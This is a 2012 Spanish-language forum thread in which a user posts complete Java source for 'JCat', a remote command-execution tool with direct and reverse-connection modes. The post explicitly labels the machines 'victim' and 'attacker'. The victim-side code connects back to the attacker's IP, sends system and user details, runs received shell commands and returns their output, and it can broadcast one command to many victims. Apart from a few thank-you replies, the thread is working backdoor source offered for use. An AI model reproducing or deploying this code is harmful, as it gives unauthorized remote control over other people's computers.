JCat Conexión Inversa y Directa

Iniciado por Michb, Octubre 16, 2012, 08:53:03 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 16, 2012, 08:53:03 AM Ultima modificación: Diciembre 15, 2015, 07:14:02 PM por Expermicid
JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo. Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante.

es necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code.

Código: java


import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Random;
import java.net.InetAddress;

/*
* -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
* cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
* datos Salida. El Servidor la recive y la procesa
*
* Ventaja: Ninguna.
*
* Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
* hay que abrir un puerto en el router de la victima.
* -----------------------------------------------------------------------------
*
* -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
* Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
* datos por su Salida. El Cliente la recive y la procesa
*
* Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
* actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
* puerto se habre en nuestro PC
*
* Desventaja: el puerto se habre en nuestro PC.
*
*/
class JCat {

    public static int Port;
    public static String IP;

    public static void main(String[] args) {

        if (true) {
            if (args.length > 0) {
                //if (argsS1.equals("1") && argsS2.equals("1")) {
                if (args[0].equals("1") && args[1].equals("1")) {

                    ConexionDirectaServidor a = new ConexionDirectaServidor();
                    a.start();
                }
                //if (argsS1.equals("1") && argsS2.equals("2")) {
                if (args[0].equals("1") && args[1].equals("2")) {
                    ConexionDirectaCliente a = new ConexionDirectaCliente();
                    a.start();
                }
                //if (argsS1.equals("2") && argsS2.equals("1")) {
                if (args[0].equals("2") && args[1].equals("1")) {
                    ConexionInversaServidor a = new ConexionInversaServidor();
                    a.setMode(2);
                    a.start();

                }
                //if (argsS1.equals("2") && argsS2.equals("2")) {
                if (args[0].equals("2") && args[1].equals("2")) {
                    ConexionInversaCliente a = new ConexionInversaCliente();
                    a.start();
                }

                if(args[2] != null){
                    Port = (Integer.parseInt(args[2]));

                }

                try{
                    if(args[3] != null){
                        IP = args[3];
                    }else{
                        IP = "";
                    }
                }catch(ArrayIndexOutOfBoundsException e){}

            }else {
                System.out.println("                                    ");
                System.out.println("                                Uo              ");
                System.out.println("                                Mb$QU               ");
                System.out.println("                           MMMMMMMMMMMM$            ");
                System.out.println("                         MMMMMMMMMMMM@$EIMMMMMMMMMM#        ");
                System.out.println("                   MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@     ");
                System.out.println("               MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME  :MM@       ");
                System.out.println("           0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@      ");
                System.out.println("          MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM  .MMMME  M#Q@     ");
                System.out.println("        #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$  8MWQE$M   ");
                System.out.println("       AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c:   0MWWEE9W   ");
                System.out.println("      :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,..    ");
                System.out.println("     CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,.    ");
                System.out.println("    .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i....      ");
                System.out.println("    MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,..              ");
                System.out.println("   0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:....                          ");
                System.out.println("   MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,.                         ");
                System.out.println("  XMMMMMMMMMMMMMMMMMMMMMM8Y,    ,MMMM#.,;i..                        ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMM#c.  ...  .MMMM8 ,;i..                       ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMM$7..,.  [email protected]..                      ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,:  :b$$QY;i,..                 ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,..            ");
                System.out.println("  MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,..            ");
                System.out.println("  MMMMMMMMMMMM,.,,           ,vb#MM@EA@MM9Y;i,..            ");
                System.out.println("  MMMMMMMMMMM.,i,.               .6W$1#MMM;i,..             ");
                System.out.println("  MMMMMMMMMM:,i:.                    1#MMM;i,..             ");
                System.out.println("  $MMMMMMMMC.ii..                                       ");
                System.out.println("  YMMMMMMM@,:;,.                                        ");
                System.out.println("   MMMMMMMU.;i,.                        JCat v1     ");
                System.out.println("   EMMMMMM7.;i..          ..            Developed by MichB              ");
                System.out.println("    MMMMMMC.c:,  .I$MM@b1:..:..         18/06/12            ");
                System.out.println("    XMMMMMz.;;. 7MMWSSA$M@2,.i:,.                   ");
                System.out.println("     QMMMM@.:;,.MM.     ,b$9,.i:,                                   ");
                System.out.println("      @MMMM6 :i.0@.  :8C  Ubo..i,.                                  ");
                System.out.println("       @MMM@z.:.,Z#bE$8,. vSU,.i:.                                  ");
                System.out.println("        EMMM@bi,..,:..    X1ti.;:.                      ");
                System.out.println("         ;@MM@#9Xi,.....inzn7,;i,.                                  ");
                System.out.println("           YW@@##BbEbbZ8A6S7,i:,.                                   ");
                System.out.println("             .X600QEb6ASCi,...                                      ");

                System.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n");
                //cliente envia comando y recive respuesta del servidor
                System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000               <- Victima");
                System.out.println("Cliente Conexion Directa  -> java JCat 1 2 5000 192.168.12.2  <- Atacante");

                System.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n");
                //servidor envia comando y recive respuesta del cliente
                System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000               <- Atacante");
                System.out.println("Cliente Conexion Inversa  -> java JCat 2 2 5000 192.168.12.2  <- Victima\n");
                System.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
                System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
                System.out.println("\tNo hay limite de clientes para los 2 Modos\n");
                System.exit(-1);
                //}
            }
        }
    }
}
class ConexionDirectaServidor extends Thread{

    private ServerSocket escucha3;
    private Socket conexion3;
    //private static Thread hebraServidor3;
    //private static String mensaje3;

    private int veces=0;
    static ArrayList<Integer> HASHs = new ArrayList<Integer>();

    ConexionDirectaServidor(){}

    ConexionDirectaServidor(int veces){
        this.veces = veces;
    }

    public void run () {

        try {
            int puerto = JCat.Port;
            //int puerto = 5000;
            escucha3 = new ServerSocket(puerto);
            BufferedReader br = null;
            String sTexto = "";

            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión D. SERVIDOR      *");
            System.out.println("*---------------------------------*\n");
            System.out.println("Escuchando en el puerto: " + puerto +"\n");
            System.out.println("Servidor a la escucha...\n");
            System.out.println("\nEscriba en el Cliente...");
            if(puerto == 0){
                System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n");
                try {
                    this.sleep(3000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
                System.out.println("Intento: "+veces+"\n");
                ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
                a.start();
            }

            while (true) {
                conexion3 = escucha3.accept();
                //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());

                Runnable nuevoCliente = new HiloDeCliente(conexion3);

                Thread hilo = new Thread(nuevoCliente);

                hilo.start();
                try {
                    hilo.sleep(2000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }

            }
        } catch (IOException ex) {
            System.out.println("Mensaje de Error! -> "+ex);
            if(ex.equals("java.net.BindException: Address already in use")){
                System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
            }
        }

    }
}

// Implementa Runnable para poder ser lanzada en un hilo aparte
class HiloDeCliente implements Runnable
{
    // En el constructor recibe y guarda los parámetros que sean necesarios.
    // En este caso una lista con toda la conversación y el socket que debe
    // atender.
    private String osName = System.getProperty ( "os.name" );
    private String Arch = System.getProperty ( "os.arch" );
    private String Version = System.getProperty ( "os.version" );

    private String SP = System.getProperty ( "sun.os.patch.level" );
    private String Country = System.getProperty ( "user.country" );
    private String dirUserHome = System.getProperty ( "user.home" );
    private String Lang = System.getProperty ( "user.language" );
    private String userName = System.getProperty ( "user.name" );
    private String VersionJV = System.getProperty ( "java.vm.version" );
    private String Direccion;
    private String Direccion2;
    private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
    private Socket conexion3;
    private int HASH;
    public HiloDeCliente(Socket socket)
    {
        try{
            InetAddress address = InetAddress.getLocalHost();
            String Direccion = address.getHostAddress();
            String Direccion2 = address.getCanonicalHostName();
        } catch (java.net.UnknownHostException e) {
        }
        conexion3 = socket;
    }

    public void run ()
    {

        try { 
            DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
            DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());

            System.out.println("\nCliente Conectado...");

            HASH = entrada.readInt();
            System.out.println("Identificador del Cliente: "+HASH);

            if(!ConexionDirectaServidor.HASHs.contains(HASH)){
                ConexionDirectaServidor.HASHs.add(HASH);

                for(int i=0;i<arrayDatos.length;i++)
                    if(arrayDatos[i]==null)
                        arrayDatos[i]="null";
                salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
                    + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
                    + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]);
            }

            String comando = entrada.readUTF();
            System.out.println("Comando del Cliente: " + comando);
            new Ejecutor().executeCommand(comando, false, conexion3);
            // Código para atender al cliente.
        } catch (IOException ex) {
            //System.out.println(ex);
        }

        //System.out.println("Cierre de conexion del cliente");
    }

}

class ConexionDirectaCliente extends Thread {

    private Socket conexion4;
    private static Thread hebraServidor4;
    private static String mensaje3;
    private Random rnd = new Random();
    private int HASH;
    private boolean continuar=true;
    private int contador;
    ConexionDirectaCliente(){
        HASH = (rnd.nextInt() * 10000);
        contador=0;
    }

    public void run() {
        //System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
        //System.out.println("Solo Envio al Servidor");
        System.out.println("\n*---------------------------------*");
        System.out.println("*       Conexión D. CLIENTE       *");
        System.out.println("*---------------------------------*\n");

        if(continuar){
            while (true) {

                String ip = JCat.IP;
                //String ip = "192.168.13.240";
                int puerto = JCat.Port;
                //int puerto = 5000;
                try {

                    conexion4 = new Socket(ip, puerto);
                    BufferedReader br = null;
                    String sTexto = "";

                    DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
                    DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
                    //enviamos
                    salida.writeInt(HASH);

                    //salida.writeUTF(System.getProperty("os.name"));
                    //salida.writeUTF(System.getProperty("user.name"));
                    //recivimos
                    //System.out.println("lo recivo yo el Cliente " + entrada.readUTF());

                    br = new BufferedReader(new InputStreamReader(System.in));

                    System.out.println("Conectado al Servidor...\n");
                    System.out.println("-----------------------------------");
                    System.out.println("| Mi Identificador: "+HASH);
                    System.out.println("-----------------------------------");

                    if(contador==0){

                        System.out.println("| [+] Información del Servidor [+] |");
                        System.out.println("-----------------------------------");
                        System.out.println(entrada.readUTF());
                        System.out.println("-----------------------------------");
                        contador++;
                    }
                    try {
                        System.out.printf("\tComando: %s",sTexto = br.readLine());

                        //enviamos
                        salida.writeUTF(sTexto);
                    } catch (IOException io) {
                        io.printStackTrace();
                    }
                    //COMANDOS
                    System.out.println(entrada.readUTF());

                } catch (IOException ex) {

                    //break;
                    if(ex.getMessage().equals("Can't assign requested address")){

                        System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
                        try {
                            this.sleep(3000);
                        } catch (InterruptedException exa) {
                            System.out.println(exa);
                        }

                        ConexionDirectaCliente a = new ConexionDirectaCliente();
                        a.start();
                        continuar =  false;
                        break;
                    }
                }

            }
        }
    }
}

class ConexionInversaServidor extends Thread {
    private ServerSocket escucha3;
    static Socket conexion3;
    //private static Thread hebraServidor3;
    //private static String mensaje3;
    //private String MSJ=null;

    //static primera a;
    //static String textoTeclado;
    static ArrayList<Integer> HASHs = new ArrayList<Integer>();
    static ArrayList<Socket> p = new ArrayList<Socket>();

    static int Mode;
    private boolean continuar=true;
    private int HASH;
    boolean debugging=true;
    int contador=0;
    public void setMode(int predefinido){

        try{
            try{
                if(predefinido==2){
                    BufferedReader br = null;
                    String sTexto="";
                    System.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
                    br = new BufferedReader(new InputStreamReader(System.in));

                    System.out.printf("\tModo: (%s) \n",sTexto = br.readLine());
                    Mode=Integer.parseInt(sTexto);
                }else{
                    Mode=predefinido;
                }

            } catch (NumberFormatException exe) {
                System.out.println("Mensaje de Error! -> "+exe.getMessage());
            }
        } catch (IOException ex) {
            System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
        }
    }

    public void run() {
        try {

            int puerto = JCat.Port;
            escucha3 = new ServerSocket(puerto);

            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión I. SERVIDOR      *");
            System.out.println("*---------------------------------*\n");
            System.out.println("Escuchando en el puerto: " + puerto +"\n");
            if(puerto == 0){
                continuar =  false;
                System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n");
                try {
                    this.sleep(3000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
                ConexionInversaServidor a = new ConexionInversaServidor();
                a.setMode(Mode);
                a.start();

            }
            if(continuar){
                System.out.println("Servidor a la escucha...\n");
                Teclado Teclad = new Teclado();
                Teclad.start();
                while (true) {

                    conexion3 = escucha3.accept();
                    DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
                    DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
                    //System.out.println("INICIO");
                    HASH =entrada.readInt();

                    System.out.println("-----------------------------------");
                    System.out.println("| ID Cliente: "+HASH);
                    System.out.println("-----------------------------------");

                    if(!HASHs.contains(HASH)){
                    HASHs.add(HASH);
                    System.out.println("| [+] Información del Cliente [+] |");
                    System.out.println("-----------------------------------");
                    System.out.println(entrada.readUTF());
                    System.out.println("-----------------------------------");

                    }
                   
                    if(contador==0){

                        contador++;
                    }

                    //System.out.println("Tamaño -> "+p.size() );
                    primera Conexion = new primera(conexion3);

                    //Thread hilo1 = new Thread(Conexion);
                    Conexion.start();

                    p.add(conexion3);
                    if(debugging)
                        System.out.println("añadidos al array "+p.size());
                    //System.out.println("FIN");

                }
            }
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }

    static public void envioTextoTeclado0(String sTexto) {

        //System.out.println("Comprobacion 2 Tamaño -> "+p.size() );

        if(Mode == 0){
            try{
                for(int i=0;i<p.size();i++){
                    Socket con = p.get(i);

                    //System.out.println("Cliente: "+i);
                    DataOutputStream salida = new DataOutputStream(con.getOutputStream());
                    DataInputStream entrada = new DataInputStream(con.getInputStream());

                    salida.writeUTF(sTexto);
                    System.out.println(entrada.readUTF());

                    synchronized (p.get(i)) {
                        //System.out.println("Soy 2 desperte a uno");
                        p.get(i).notify();
                        //System.out.println("Soy 2 y continua uno");

                    }

                    p.remove(p.get(i));

                }
                //System.out.println("hashcode -> "+p.get(0).hashCode() );
                //System.out.println("hashcode -> "+p.get(1).hashCode() );

            } catch (IOException ex) {
                ex.printStackTrace();
            }
        }
        if(Mode == 1){
            try{
                for(int i=0;i<p.size();i++){

                    Socket con = p.get(i);

                    //System.out.println("Cliente: "+i);
                    DataOutputStream salida = new DataOutputStream(con.getOutputStream());
                    DataInputStream entrada = new DataInputStream(con.getInputStream());

                    salida.writeUTF(sTexto);
                    System.out.println(entrada.readUTF());

                }
                for(int i=0;i<p.size();i++){
                    synchronized (p.get(i)) {

                        //System.out.println("Soy 2 desperte a uno");
                        p.get(i).notify();

                        //System.out.println("Soy 2 y continua uno");
                    }
                }

                //p.remove(p.get(0));
                //p.remove(p.get(1));

                //System.out.println("hashcode -> "+p.get(0).hashCode() );
                //System.out.println("hashcode -> "+p.get(1).hashCode() );

            } catch (IOException ex) {
                ex.printStackTrace();
            }
        }
    }
    /**

     */

}
class primera extends Thread {
    private Socket conexion3;
    boolean debugging=true;
    primera(Socket socket){
        conexion3 = socket;
        if(debugging)
            System.out.println("Me llamo "+getName());
    }

    public void run() {
        synchronized (conexion3) {

            if(debugging)
                System.out.println("uno me voy a dormir");

            try {
                conexion3.wait();

            } catch (InterruptedException ex) {

                System.out.println(ex);
            }

            if(debugging)
                System.out.println("uno me desperte");

            if(ConexionInversaServidor.Mode == 1){
                if(debugging)
                    System.out.println(ConexionInversaServidor.p.get(0).hashCode());

                ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));

                if(debugging)
                    System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n");

            }
        }
    }
}

class Teclado extends Thread
{
    private BufferedReader br = null;
    private String sTexto = "";
    private int contador=0;

    public void run(){
        boolean t=true;
        while(t){
            try{
                System.out.println("nombre:"+getName());
                try {
                    this.sleep(300);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
                System.out.println("Teclee Comandos:");
                br = new BufferedReader(new InputStreamReader(System.in));

                System.out.printf("\tComando: %s \n",sTexto = br.readLine());

                if(sTexto=="fin"){
                    t=false;
                    System.exit(-1);
                }
                ConexionInversaServidor.envioTextoTeclado0(sTexto);

            } catch (IOException ex) {
                System.out.println(ex);
            }
        }

    }
}
class ConexionInversaCliente extends Thread {
    private Socket conexion4;
    private static Thread hebraServidor4;

    private Random rnd = new Random();
    private int HASH;
    private int contador;
    private String osName = System.getProperty ( "os.name" );
    private String Arch = System.getProperty ( "os.arch" );
    private String Version = System.getProperty ( "os.version" );

    private String SP = System.getProperty ( "sun.os.patch.level" );
    private String Country = System.getProperty ( "user.country" );
    private String dirUserHome = System.getProperty ( "user.home" );
    private String Lang = System.getProperty ( "user.language" );
    private String userName = System.getProperty ( "user.name" );
    private String VersionJV = System.getProperty ( "java.vm.version" );

    private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};

    ConexionInversaCliente(){
        HASH = (rnd.nextInt() * 10000);
        contador=0;
    }

    public void run() {
        String ip = JCat.IP;
        int puerto = JCat.Port;
        try {
            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión I. CLIENTE       *");
            System.out.println("*---------------------------------*");
            while (true) {

            conexion4 = new Socket(ip, puerto);

            try {
                DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
               
                DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());

                salida.writeInt(HASH);

                if(contador==0){
                contador++;
                for(int i=0;i<arrayDatos.length;i++)
                if(arrayDatos[i]==null)
                arrayDatos[i]="null";
                salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
                + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
                + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]);
                }
               
                System.out.println("\nConexion realizada...");
                System.out.println("\nEscriba en el Servidor...");
                System.out.println("Mi Identificador: "+HASH);

                String comando = entrada.readUTF();

                System.out.println("Comando del Cliente: " + comando);
                new Ejecutor().executeCommand(comando, false, conexion4);
                try {
                    this.sleep(2000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
            } catch (IOException ex) {
                System.out.println(ex.getMessage());
            }

            }
        } catch (IOException ex) {
            System.out.println("Mensaje de Error! -> "+ex.getMessage());
            if(ex.getMessage().equals("Can't assign requested address")){
                System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
                try {
                    this.sleep(3000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }

                ConexionInversaCliente a = new ConexionInversaCliente();
                a.start();
            }
            if(ex.getMessage().equals("Connection refused")){

                System.out.println("No encontrado servidor a la escucha\n");
            }
        }

    }
}

class Ejecutor{
    private String commandShell;
    private Socket conexion3;
    public void executeCommand(String command, boolean flagbackground, Socket socket)  {

        commandShell = null;
        conexion3 = socket;
        try {
            DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());

            String osName = System.getProperty("os.name");

            if (osName.equals("Windows NT")) {
                commandShell = "cmd.exe /C " + command;
            } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
                commandShell = "start " + command;
            } else {

                if (flagbackground) {
                    commandShell = "" + command + " &";
                } else {
                    commandShell = "" + command;
                }
            }

            try {
                Process proc = Runtime.getRuntime().exec(commandShell);
                BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
                String str;String strTodo= "";
                while ((str = brStdOut.readLine()) != null) {

                    strTodo+=str+"\n"; 
                }

                salida.writeUTF("\tResponse: "+strTodo);
                brStdOut.close();
                brStdErr.close();
            } catch (IOException eproc) {
                System.out.println("Comando desconocido ");
                salida.writeUTF("\tResponse: Comando desconocido\n");

            }
        } catch (IOException ex) {

            System.out.println(ex.getMessage());
        }

    }
}


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se ve bueno. Gracias por traerlo.
Twitter: @The_Pr0ph3t
[email protected]

Buen Aporte! Gracias!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".